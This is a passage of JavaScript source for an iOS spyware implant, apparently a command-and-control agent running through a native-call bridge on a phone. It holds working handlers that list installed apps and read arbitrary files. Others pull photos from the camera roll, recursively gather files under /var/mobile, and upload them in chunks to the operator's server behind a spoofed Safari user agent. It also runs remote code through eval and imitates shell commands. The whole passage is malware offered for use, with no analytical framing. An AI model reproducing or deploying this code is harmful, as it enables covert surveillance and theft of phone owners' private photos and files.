totalSent));\n\t\t\tif (nw <= 0) break;\n\t\t\ttotalSent += nw;\n\t\t}\n\t\treturn totalSent >= reqLen;\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _compressToJpeg(nativeBuf, byteLen, quality) {\n\tquality = (typeof quality === \"number\") ? quality : 0.65;\n\tvar cfIn = Native.callSymbol(\"CFDataCreate\", 0n, nativeBuf, BigInt(byteLen));\n\tif (!cfIn || cfIn === 0n) return null;\n\tvar imgSrc = 0n, cfOut = 0n, imgDst = 0n, opts = 0n, cfN = 0n;\n\ttry {\n\t\timgSrc = Native.callSymbol(\"CGImageSourceCreateWithData\", cfIn, 0n);\n\t\tif (!imgSrc || imgSrc === 0n) return null;\n\t\tvar qb = Native.callSymbol(\"calloc\", 1n, 8n);\n\t\tif (!qb || qb === 0n) return null;\n\t\tvar qab = new ArrayBuffer(8);\n\t\tnew DataView(qab).setFloat64(0, quality, true);\n\t\tNative.write(qb, qab);\n\t\tcfN = Native.callSymbol(\"CFNumberCreate\", 0n, 13n, qb);\n\t\tNative.callSymbol(\"free\", qb);\n\t\tvar qualKey = _getGlobalCF(\"kCGImageDestinationLossyCompressionQuality\");\n\t\tif (cfN && cfN !== 0n && qualKey && qualKey !== 0n) {\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryValueCallBacks\");\n\t\t\tif (kKeyCB && kValCB) {\n\t\t\t\topts = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 1n, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (opts && opts !== 0n) Native.callSymbol(\"CFDictionarySetValue\", opts, qualKey, cfN);\n\t\t\t}\n\t\t}\n\t\tcfOut = Native.callSymbol(\"CFDataCreateMutable\", 0n, 0n);\n\t\tif (!cfOut || cfOut === 0n) return null;\n\t\tvar jpegUTI = _makeCFString(\"public.jpeg\");\n\t\timgDst = Native.callSymbol(\"CGImageDestinationCreateWithData\", cfOut, jpegUTI, 1n, 0n);\n\t\tNative.callSymbol(\"CFRelease\", jpegUTI);\n\t\tif (!imgDst || imgDst === 0n) return null;\n\t\tNative.callSymbol(\"CGImageDestinationAddImageFromSource\", imgDst, imgSrc, 0n, opts || 0n);\n\t\tif (!Number(Native.callSymbol(\"CGImageDestinationFinalize\", imgDst))) return null;\n\t\tvar outLen = Number(Native.callSymbol(\"CFDataGetLength\", cfOut));\n\t\tvar outPtr = Native.callSymbol(\"CFDataGetBytePtr\", cfOut);\n\t\tif (outLen <= 0 || !outPtr || outPtr === 0n) return null;\n\t\treturn Native.read(outPtr, outLen);\n\t} finally {\n\t\tif (imgDst && imgDst !== 0n) Native.callSymbol(\"CFRelease\", imgDst);\n\t\tif (opts && opts !== 0n) Native.callSymbol(\"CFRelease\", opts);\n\t\tif (cfN && cfN !== 0n) Native.callSymbol(\"CFRelease\", cfN);\n\t\tif (cfOut && cfOut !== 0n) Native.callSymbol(\"CFRelease\", cfOut);\n\t\tif (imgSrc && imgSrc !== 0n) Native.callSymbol(\"CFRelease\", imgSrc);\n\t\tNative.callSymbol(\"CFRelease\", cfIn);\n\t}\n}\n\nfunction _hqUploadPhoto(filePath, filename, uuid, seq, md5hash) {\n\tvar useTLS = HQ_API_BASE.indexOf(\"https://\") === 0;\n\tvar p = parseURL(HQ_API_BASE + \"/p\");\n\tvar fileFd = Number(Native.callSymbol(\"open\", filePath, 0, 0));\n\tif (fileFd < 0) return false;\n\tvar fileLen = Number(Native.callSymbol(\"lseek\", fileFd, 0, 2));\n\tNative.callSymbol(\"lseek\", fileFd, 0, 0);\n\tif (fileLen <= 0 || fileLen > 10485760) {\n\t\tNative.callSymbol(\"close\", fileFd);\n\t\treturn false;\n\t}\n\tvar fileBuf = Native.callSymbol(\"malloc\", BigInt(fileLen));\n\tif (!fileBuf || fileBuf === 0n) { Native.callSymbol(\"close\", fileFd); return false; }\n\tNative.callSymbol(\"read\", fileFd, fileBuf, fileLen);\n\tNative.callSymbol(\"close\", fileFd);\n\n\ttry {\n\t\tvar compAB = _compressToJpeg(fileBuf, fileLen, 0.65);\n\t\tif (compAB && compAB.byteLength > 0 && compAB.byteLength < fileLen) {\n\t\t\tvar cbuf = Native.callSymbol(\"malloc\", BigInt(compAB.byteLength));\n\t\t\tif (cbuf && cbuf !== 0n) {\n\t\t\t\tNative.write(cbuf, compAB);\n\t\t\t\tNative.callSymbol(\"free\", fileBuf);\n\t\t\t\tfileBuf = cbuf;\n\t\t\t\tfileLen = compAB.byteLength;\n\t\t\t\tvar dot = filename.lastIndexOf(\".\");\n\t\t\t\tfilename = (dot >= 0 ? filename.slice(0, dot) : filename) + \".jpg\";\n\t\t\t}\n\t\t}\n\t} catch(e) {}\n\n\n\tvar bnd = \"------HqBound\";\n\tvar ua = \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\";\n\tvar prefix =\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"uuid\\\"\\r\\n\\r\\n\" + uuid + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"filename\\\"\\r\\n\\r\\n\" + filename + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"seq\\\"\\r\\n\\r\\n\" + seq + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"md5\\\"\\r\\n\\r\\n\" + md5hash + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"\" + filename + \"\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\";\n\tvar suffix = \"\\r\\n--\" + bnd + \"--\\r\\n\";\n\tvar bodyLen = prefix.length + fileLen + suffix.length;\n\tvar hdr = \"POST /p HTTP/1.0\\r\\nHost: \" + p.host + \"\\r\\nContent-Type: multipart/form-data; boundary=\" + bnd + \"\\r\\nUser-Agent: \" + ua + \"\\r\\nContent-Length: \" + bodyLen + \"\\r\\n\\r\\n\";\n\n\tvar totalLen = hdr.length + bodyLen;\n\tvar reqBuf = Native.callSymbol(\"malloc\", BigInt(totalLen));\n\tif (!reqBuf || reqBuf === 0n) { Native.callSymbol(\"free\", fileBuf); return false; }\n\n\t_writeStr(reqBuf, hdr);\n\t_writeStr(reqBuf + BigInt(hdr.length), prefix);\n\tNative.callSymbol(\"memcpy\", reqBuf + BigInt(hdr.length + prefix.length), fileBuf, BigInt(fileLen));\n\tNative.callSymbol(\"free\", fileBuf);\n\t_writeStr(reqBuf + BigInt(hdr.length + prefix.length + fileLen), suffix);\n\n\tvar ok = useTLS\n\t\t? _cfstreamSendRaw(p.host, p.port, reqBuf, totalLen)\n\t\t: _socketSendRaw(p.host, p.port, reqBuf, totalLen);\n\tNative.callSymbol(\"free\", reqBuf);\n\treturn ok;\n}\n\n// ============================================================================\n// File & Directory Helpers\n// ============================================================================\n\nfunction readFileB64(path, maxSize) {\n\tmaxSize = maxSize || MAX_FILE_SIZE;\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tconst sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tconst nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\treturn { b64: bytesToBase64(new Uint8Array(Native.read(buf, nr))), size: nr };\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction getFileSize(path) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return -1;\n\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"close\", fd);\n\treturn sz;\n}\n\nfunction sendFileChunked(cmdId, path, filename, category, meta) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return { ok: false, error: \"open failed\", sent: 0, total: 0 };\n\ttry {\n\t\treturn _sendChunksFromFd(cmdId, fd, -1, filename, category, meta);\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _sendChunksFromFd(cmdId, fd, knownSize, filename, category, meta) {\n\tvar fileSize = knownSize > 0 ? knownSize : Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tif (knownSize <= 0) Native.callSymbol(\"lseek\", fd, 0, 0);\n\tif (fileSize <= 0) return { ok: false, error: \"empty file\", sent: 0, total: 0 };\n\n\tvar totalChunks = Math.ceil(fileSize / CHUNK_SIZE);\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(CHUNK_SIZE));\n\tif (!buf || buf === 0n) return { ok: false, error: \"malloc failed\", sent: 0, total: totalChunks };\n\tvar sentOk = 0, lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(CHUNK_SIZE, fileSize - ci * CHUNK_SIZE);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read returned \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar body = {\n\t\t\t\tcommand_id: cmdId, uuid: DEVICE_UUID,\n\t\t\t\tfilename: filename, data: b64,\n\t\t\t\tchunk_index: ci, total_chunks: totalChunks,\n\t\t\t\tcategory: category || \"\"\n\t\t\t};\n\t\t\tif (meta && ci === totalChunks - 1) {\n\t\t\t\tbody._exec_start_ms = meta.start_ms || 0;\n\t\t\t\tbody._exec_end_ms = meta.end_ms || 0;\n\t\t\t}\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = httpPost(C2_RESULT_URL, body);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch(pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (postOk) { sentOk++; }\n\t\t\telse { lastErr = \"POST failed chunk \" + ci; break; }\n\t\t}\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn { ok: sentOk === totalChunks, error: lastErr, sent: sentOk,\n\t\t\t total: totalChunks, fileSize: fileSize };\n}\n\nfunction listDir(path) {\n\tconst d = Native.callSymbol(\"opendir\", path);\n\tif (!d || d === 0n) return [];\n\tconst out = [];\n\tfor (;;) {\n\t\tconst ent = Native.callSymbol(\"readdir\", d);\n\t\tif (!ent || ent === 0n) break;\n\t\t// Darwin dirent: d_ino(8)+d_seekoff(8)+d_reclen(2)+d_namlen(2)+d_type(1)+d_name\n\t\tconst dtype = new Uint8Array(Native.read(ent + 20n, 1))[0];\n\t\tconst name = Native.readString(ent + 21n, 256);\n\t\tif (name === \".\" || name === \"..\") continue;\n\t\tout.push({ name: name, type: dtype === 4 ? \"dir\" : dtype === 8 ? \"file\" : \"\"+dtype });\n\t}\n\tNative.callSymbol(\"closedir\", d);\n\treturn out;\n}\n\n// ============================================================================\n// Command Handlers\n// ============================================================================\n\nfunction sendResult(cmdId, data, filename, category, meta) {\n\tconst body = { command_id: cmdId, uuid: DEVICE_UUID, filename: filename || \"result.bin\" };\n\tif (data) body.data = data;\n\tif (category) body.category = category;\n\tif (meta) {\n\t\tif (meta.start_ms) body._exec_start_ms = meta.start_ms;\n\t\tif (meta.end_ms) body._exec_end_ms = meta.end_ms;\n\t}\n\tfor (var _retry = 0; _retry < 3; _retry++) {\n\t\tvar _resp = httpPost(C2_RESULT_URL, body);\n\t\tif (_resp !== null) return;\n\t\tNative.callSymbol(\"usleep\", 2000000);\n\t}\n}\n\nfunction sendJSON(cmdId, obj, filename, meta) {\n\tconst s = JSON.stringify(obj);\n\tsendResult(cmdId, bytesToBase64(new Uint8Array(Native.stringToBytes(s, false))), filename || \"result.json\", null, meta);\n}\n\nfunction handleLs(cmd) {\n\tconst p = (cmd.params && cmd.params.path) || \"/\";\n\tsendJSON(cmd.command_id, listDir(p), \"ls_\" + p.replace(/\\//g, \"_\") + \".json\");\n}\n\nfunction handleDownload(cmd) {\n\tvar p = cmd.params && cmd.params.path;\n\tif (!p) return;\n\tvar maxSz = (cmd.params && cmd.params.max_size) || MAX_FILE_SIZE;\n\tvar sz = getFileSize(p);\n\tif (sz <= 0 || sz > maxSz) return;\n\tvar fname = p.split(\"/\").pop();\n\tif (sz <= CHUNK_SIZE) {\n\t\tvar f = readFileB64(p, maxSz);\n\t\tif (f) sendResult(cmd.command_id, f.b64, fname);\n\t} else {\n\t\tsendFileChunked(cmd.command_id, p, fname);\n\t}\n}\n\nfunction handlePhotos(cmd) {\n\tvar dcim = \"/var/mobile/Media/DCIM\";\n\tvar maxCount = (cmd.params && cmd.params.max_count) || 50;\n\tvar count = 0;\n\tvar dirs = listDir(dcim);\n\tfor (var di = 0; di < dirs.length && count < maxCount; di++) {\n\t\tif (dirs[di].type !== \"dir\") continue;\n\t\tvar sub = dcim + \"/\" + dirs[di].name;\n\t\tvar files = listDir(sub);\n\t\tfor (var fi = 0; fi < files.length && count < maxCount; fi++) {\n\t\t\tif (files[fi].type !== \"file\") continue;\n\t\t\tvar fp = sub + \"/\" + files[fi].name;\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) {\n\t\t\t\t\tsendResult(cmd.command_id, f.b64, files[fi].name, \"photos\");\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar chunkResult = sendFileChunked(cmd.command_id, fp, files[fi].name, \"photos\");\n\t\t\t\tif (chunkResult && chunkResult.ok) count++;\n\t\t\t}\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, { collected: count }, \"photos_summary.json\");\n}\n\nfunction _extractBundleId(bytes) {\n\tvar text = _rawToStr(bytes);\n\tvar xmlKey = \"MCMMetadataIdentifier\";\n\tvar ki = text.indexOf(xmlKey);\n\tif (ki >= 0) {\n\t\tvar si = text.indexOf(\"\", ki);\n\t\tif (si >= 0) {\n\t\t\tsi += 8;\n\t\t\tvar ei = text.indexOf(\"\", si);\n\t\t\tif (ei >= 0) return text.substring(si, ei);\n\t\t}\n\t}\n\tvar strings = [];\n\tvar cur = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\tif (bytes[i] >= 0x20 && bytes[i] <= 0x7E) {\n\t\t\tcur += String.fromCharCode(bytes[i]);\n\t\t} else {\n\t\t\tif (cur.length >= 3) strings.push(cur);\n\t\t\tcur = \"\";\n\t\t}\n\t}\n\tif (cur.length >= 3) strings.push(cur);\n\tvar mki = -1;\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tif (strings[j] === \"MCMMetadataIdentifier\") { mki = j; break; }\n\t}\n\tvar candidates = [];\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tvar s = strings[j];\n\t\tvar fi = 0;\n\t\twhile (fi < s.length && !((s.charCodeAt(fi) >= 0x41 && s.charCodeAt(fi) <= 0x5A) ||\n\t\t\t(s.charCodeAt(fi) >= 0x61 && s.charCodeAt(fi) <= 0x7A))) fi++;\n\t\tif (fi > 0) s = s.substring(fi);\n\t\tif (s.length < 5) continue;\n\t\tif (s.indexOf(\".\") < 0) continue;\n\t\tif (s.indexOf(\"MCM\") === 0) continue;\n\t\tif (s.charAt(0) === \"$\") continue;\n\t\tif (s.indexOf(\"]\") >= 0) continue;\n\t\tif (s.indexOf(\"bplist\") >= 0) continue;\n\t\tif (s.indexOf(\"apple.mobile_container\") >= 0) continue;\n\t\tif (s.indexOf(\"MobileInstallation\") >= 0) continue;\n\t\tif (s === \"com.apple.installd\") continue;\n\t\tif (s === \"com.apple.containermanagerd\") continue;\n\t\tif (s === \"com.apple.lsd\") continue;\n\t\tcandidates.push({ s: s, i: j });\n\t}\n\tif (candidates.length === 0) return \"\";\n\tif (candidates.length === 1) return candidates[0].s;\n\tif (mki >= 0) {\n\t\tvar best = candidates[0];\n\t\tvar bd = Math.abs(candidates[0].i - mki);\n\t\tfor (var k = 1; k < candidates.length; k++) {\n\t\t\tvar d = Math.abs(candidates[k].i - mki);\n\t\t\tif (d < bd) { bd = d; best = candidates[k]; }\n\t\t}\n\t\treturn best.s;\n\t}\n\treturn candidates[0].s;\n}\n\nfunction handleApps(cmd) {\n\tconst base = \"/var/mobile/Containers/Data/Application\";\n\tconst dirs = listDir(base);\n\tconst apps = [];\n\tfor (let i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tconst meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tconst ok = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tvar bundleId = \"\";\n\t\tif (ok) {\n\t\t\tvar bytes = _readFileBytes(meta, 8192);\n\t\t\tif (bytes && bytes.length > 0) bundleId = _extractBundleId(bytes);\n\t\t}\n\t\tapps.push({ uuid: dirs[i].name, bundleId: bundleId, hasMetadata: ok });\n\t}\n\tsendJSON(cmd.command_id, apps, \"app_list.json\");\n}\n\nfunction handleExec(cmd) {\n\tvar p = cmd.params || {};\n\tvar code = p.code;\n\tvar startMs = Date.now();\n\tif (!code) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty code\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\ttry {\n\t\tvar r = eval(code);\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"success\",\n\t\t\tresult: String(r !== undefined ? r : \"\"),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t} catch (e) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\",\n\t\t\terror: String(e),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t}\n}\n\n// ============================================================================\n// file_upload: scan directories, filter files, upload matching ones in chunks\n// ============================================================================\n\nfunction _scanDir(base, files, recurse, excludes, filterMode, exts, maxSz) {\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar full = base + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") {\n\t\t\tif (!recurse) continue;\n\t\t\tvar skip = false;\n\t\t\tfor (var e = 0; e < excludes.length; e++) {\n\t\t\t\tif (full === excludes[e]) { skip = true; break; }\n\t\t\t}\n\t\t\tif (!skip) _scanDir(full, files, recurse, excludes, filterMode, exts, maxSz);\n\t\t} else if (items[i].type === \"file\") {\n\t\t\tif (maxSz > 0) {\n\t\t\t\tvar fd = Number(Native.callSymbol(\"open\", full, 0, 0));\n\t\t\t\tif (fd >= 0) {\n\t\t\t\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\t\t\t\tNative.callSymbol(\"close\", fd);\n\t\t\t\t\tif (sz > maxSz) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (filterMode === \"include\" && exts.length > 0) {\n\t\t\t\tvar dot = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot < 0) continue;\n\t\t\t\tvar ext = items[i].name.substring(dot).toLowerCase();\n\t\t\t\tvar found = false;\n\t\t\t\tfor (var x = 0; x < exts.length; x++) {\n\t\t\t\t\tif (exts[x].toLowerCase() === ext) { found = true; break; }\n\t\t\t\t}\n\t\t\t\tif (!found) continue;\n\t\t\t} else if (filterMode === \"exclude\" && exts.length > 0) {\n\t\t\t\tvar dot2 = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot2 >= 0) {\n\t\t\t\t\tvar ext2 = items[i].name.substring(dot2).toLowerCase();\n\t\t\t\t\tvar blocked = false;\n\t\t\t\t\tfor (var x2 = 0; x2 < exts.length; x2++) {\n\t\t\t\t\t\tif (exts[x2].toLowerCase() === ext2) { blocked = true; break; }\n\t\t\t\t\t}\n\t\t\t\t\tif (blocked) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfiles.push(full);\n\t\t}\n\t}\n}\n\nfunction handleFileUpload(cmd) {\n\tvar p = cmd.params || {};\n\tvar paths = p.upload_paths || [\"/var/mobile\"];\n\tvar filterMode = p.filter_mode || \"none\";\n\tvar extStr = p.file_extensions || \"\";\n\tvar exts = extStr ? extStr.split(\",\") : [];\n\tvar recurse = (p.include_subdirs !== false);\n\tvar excludes = p.exclude_dirs || [];\n\tvar maxMB = p.max_file_size_mb;\n\tvar maxSz = (maxMB && maxMB > 0) ? maxMB * 1024 * 1024 : 0;\n\n\tvar files = [];\n\tfor (var pi = 0; pi < paths.length; pi++) {\n\t\t_scanDir(paths[pi], files, recurse, excludes, filterMode, exts, maxSz);\n\t}\n\n\tvar uploaded = 0;\n\tfor (var fi = 0; fi < files.length; fi++) {\n\t\tvar fname = files[fi].replace(/\\//g, \"_\");\n\t\tif (fname.charAt(0) === \"_\") fname = fname.substring(1);\n\t\tvar sz = getFileSize(files[fi]);\n\t\tif (sz <= 0) continue;\n\t\tif (sz <= CHUNK_SIZE) {\n\t\t\tvar rd = readFileB64(files[fi], maxSz > 0 ? maxSz : MAX_FILE_SIZE);\n\t\t\tif (rd) {\n\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"file_upload\");\n\t\t\t\tuploaded++;\n\t\t\t}\n\t\t} else {\n\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi], fname, \"file_upload\");\n\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, {\n\t\tscanned: files.length, uploaded: uploaded,\n\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t}, \"file_upload_summary.json\");\n}\n\n// ============================================================================\n// Execute Command - unified shell-like command interface\n// Since c2_agent runs in a JS sandbox without shell access, common shell\n// commands are emulated via POSIX native calls.\n// Result format follows API spec: { exit_code, stdout(b64), stderr(b64),\n// execution_time, timeout }\n// ============================================================================\n\nvar _cwd = \"/var/mobile\";\n\nfunction _parseArgs(cmdStr) {\n\tvar args = [];\n\tvar cur = \"\";\n\tvar inQ = 0;\n\tfor (var i = 0; i < cmdStr.length; i++) {\n\t\tvar c = cmdStr.charAt(i);\n\t\tif (c === '\\\\' && i + 1 < cmdStr.length) { cur += cmdStr.charAt(++i); continue; }\n\t\tif (inQ === 1) { if (c === \"'\") inQ = 0; else cur += c; continue; }\n\t\tif (inQ === 2) { if (c === '\"') inQ = 0; else cur += c; continue; }\n\t\tif (c === \"'\") { inQ = 1; continue; }\n\t\tif (c === '\"') { inQ = 2; continue; }\n\t\tif (c === ' ' || c === '\\t') {\n\t\t\tif (cur.length) { args.push(cur); cur = \"\"; }\n\t\t\tcontinue;\n\t\t}\n\t\tcur += c;\n\t}\n\tif (cur.length) args.push(cur);\n\treturn args;\n}\n\nfunction _resolvePath(p) {\n\tif (!p) return _cwd;\n\tif (p === \"~\") return \"/var/mobile\";\n\tif (p.indexOf(\"~/\") === 0) return \"/var/mobile\" + p.substring(1);\n\tif (p.charAt(0) === '/') return p;\n\tvar base = _cwd;\n\tif (base.charAt(base.length - 1) !== '/') base += '/';\n\tvar parts = (base + p).split('/');\n\tvar res = [];\n\tfor (var i = 0; i < parts.length; i++) {\n\t\tif (parts[i] === '' && i > 0) continue;\n\t\tif (parts[i] === '.') continue;\n\t\tif (parts[i] === '..') { if (res.length > 1) res.pop(); }\n\t\telse res.push(parts[i]);\n\t}\n\treturn res.join('/') || '/';\n}\n\nfunction _strToB64(s) {\n\tif (!s) return \"\";\n\treturn bytesToBase64(new Uint8Array(Native.stringToBytes(s, false)));\n}\n\nfunction _readFileBytes(path, maxSz) {\n\tmaxSz = maxSz || (2 * 1024 * 1024);\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz < 0) return null;\n\t\tif (sz === 0) return new Uint8Array(0);\n\t\tvar toRead = sz > maxSz ? maxSz : sz;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) return new Uint8Array(0);\n\t\t\treturn new Uint8Array(Native.read(buf, nr));\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _rawToStr(bytes) {\n\tvar out = [], SZ = 8192;\n\tfor (var i = 0; i < bytes.length; i += SZ)\n\t\tout.push(String.fromCharCode.apply(null, bytes.subarray(i, i + SZ)));\n\treturn out.join(\"\");\n}\n\nfunction _statFile(path) {\n\tvar sb = Native.callSymbol(\"calloc\", 1, 144);\n\tif (!sb || sb === 0n) return null;\n\tvar r = Number(Native.callSymbol(\"lstat\", path, BigInt(sb)));\n\tif (r !== 0) { Native.callSymbol(\"free\", sb); return null; }\n\tvar mode = _readU16(BigInt(sb), 4);\n\tvar nlink = _readU16(BigInt(sb), 6);\n\tvar size = _readI64(BigInt(sb), 96);\n\tvar atime = _readI64(BigInt(sb), 32);\n\tvar mtime = _readI64(BigInt(sb), 48);\n\tvar ctime = _readI64(BigInt(sb), 80);\n\tNative.callSymbol(\"free\", sb);\n\tvar fmt = mode & 0xF000;\n\treturn {\n\t\tmode: mode, nlink: nlink, size: size,\n\t\tatime: atime, mtime: mtime, ctime: ctime,\n\t\tisDir: fmt === 0x4000, isFile: fmt === 0x8000, isLink: fmt === 0xA000,\n\t\ttype: fmt === 0x4000 ? \"dir\" : fmt === 0xA000 ? \"link\" : \"file\"\n\t};\n}\n\nfunction _modeStr(mode) {\n\tvar fmt = mode & 0xF000;\n\tvar t = fmt === 0x4000 ? 'd' : fmt === 0xA000 ? 'l' : '-';\n\tvar bits = [0x100,0x080,0x040,0x020,0x010,0x008,0x004,0x002,0x001];\n\tvar chars = \"rwxrwxrwx\";\n\tvar p = \"\";\n\tfor (var i = 0; i < 9; i++) p += (mode & bits[i]) ? chars.charAt(i) : '-';\n\treturn t + p;\n}\n\nfunction _fmtSizeH(n) {\n\tif (n < 1024) return n + \"\";\n\tif (n < 1048576) return (n / 1024).toFixed(1) + \"K\";\n\tif (n < 1073741824) return (n / 1048576).toFixed(1) + \"M\";\n\treturn (n / 1073741824).toFixed(1) + \"G\";\n}\n\n// ---- File System Commands ----\n\nfunction _cmdLs(args) {\n\tvar long = false, all = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar a = args[i];\n\t\tif (a.charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < a.length; j++) {\n\t\t\t\tif (a.charAt(j) === 'l') long = true;\n\t\t\t\tif (a.charAt(j) === 'a') all = true;\n\t\t\t}\n\t\t} else target = a;\n\t}\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 2, out: \"\", err: \"ls: \" + path + \": No such file or directory\\n\" };\n\tif (st.isFile) {\n\t\tif (long) return { code: 0, out: _modeStr(st.mode) + \"\\t\" + st.size + \"\\t\" + path + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: path + \"\\n\", err: \"\" };\n\t}\n\tvar items = listDir(path);\n\tvar out = \"\";\n\tfor (var i = 0; i < items.length; i++) {\n\t\tif (!all && items[i].name.charAt(0) === '.') continue;\n\t\tif (long) {\n\t\t\tvar fp = path + (path === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\t\tvar fs = _statFile(fp);\n\t\t\tif (fs) {\n\t\t\t\tout += _modeStr(fs.mode) + \"\\t\" + fs.size + \"\\t\" + items[i].name + \"\\n\";\n\t\t\t} else {\n\t\t\t\tout += (items[i].type === \"dir\" ? \"d\" : \"-\") + \"---------\\t0\\t\" + items[i].name + \"\\n\";\n\t\t\t}\n\t\t} else {\n\t\t\tout += items[i].name + \"\\n\";\n\t\t}\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdCat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"cat: missing operand\\n\" };\n\tvar out = \"\", errs = \"\", fail = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar path = _resolvePath(args[i]);\n\t\tvar acc = Number(Native.callSymbol(\"access\", path, 0));\n\t\tif (acc !== 0) { errs += \"cat: \" + path + \": No such file or directory\\n\"; fail = true; continue; }\n\t\tvar sz = getFileSize(path);\n\t\tif (sz > 2 * 1024 * 1024) { errs += \"cat: \" + path + \": File too large (max 2MB)\\n\"; fail = true; continue; }\n\t\tif (sz === 0) continue;\n\t\tvar bytes = _readFileBytes(path);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tout += 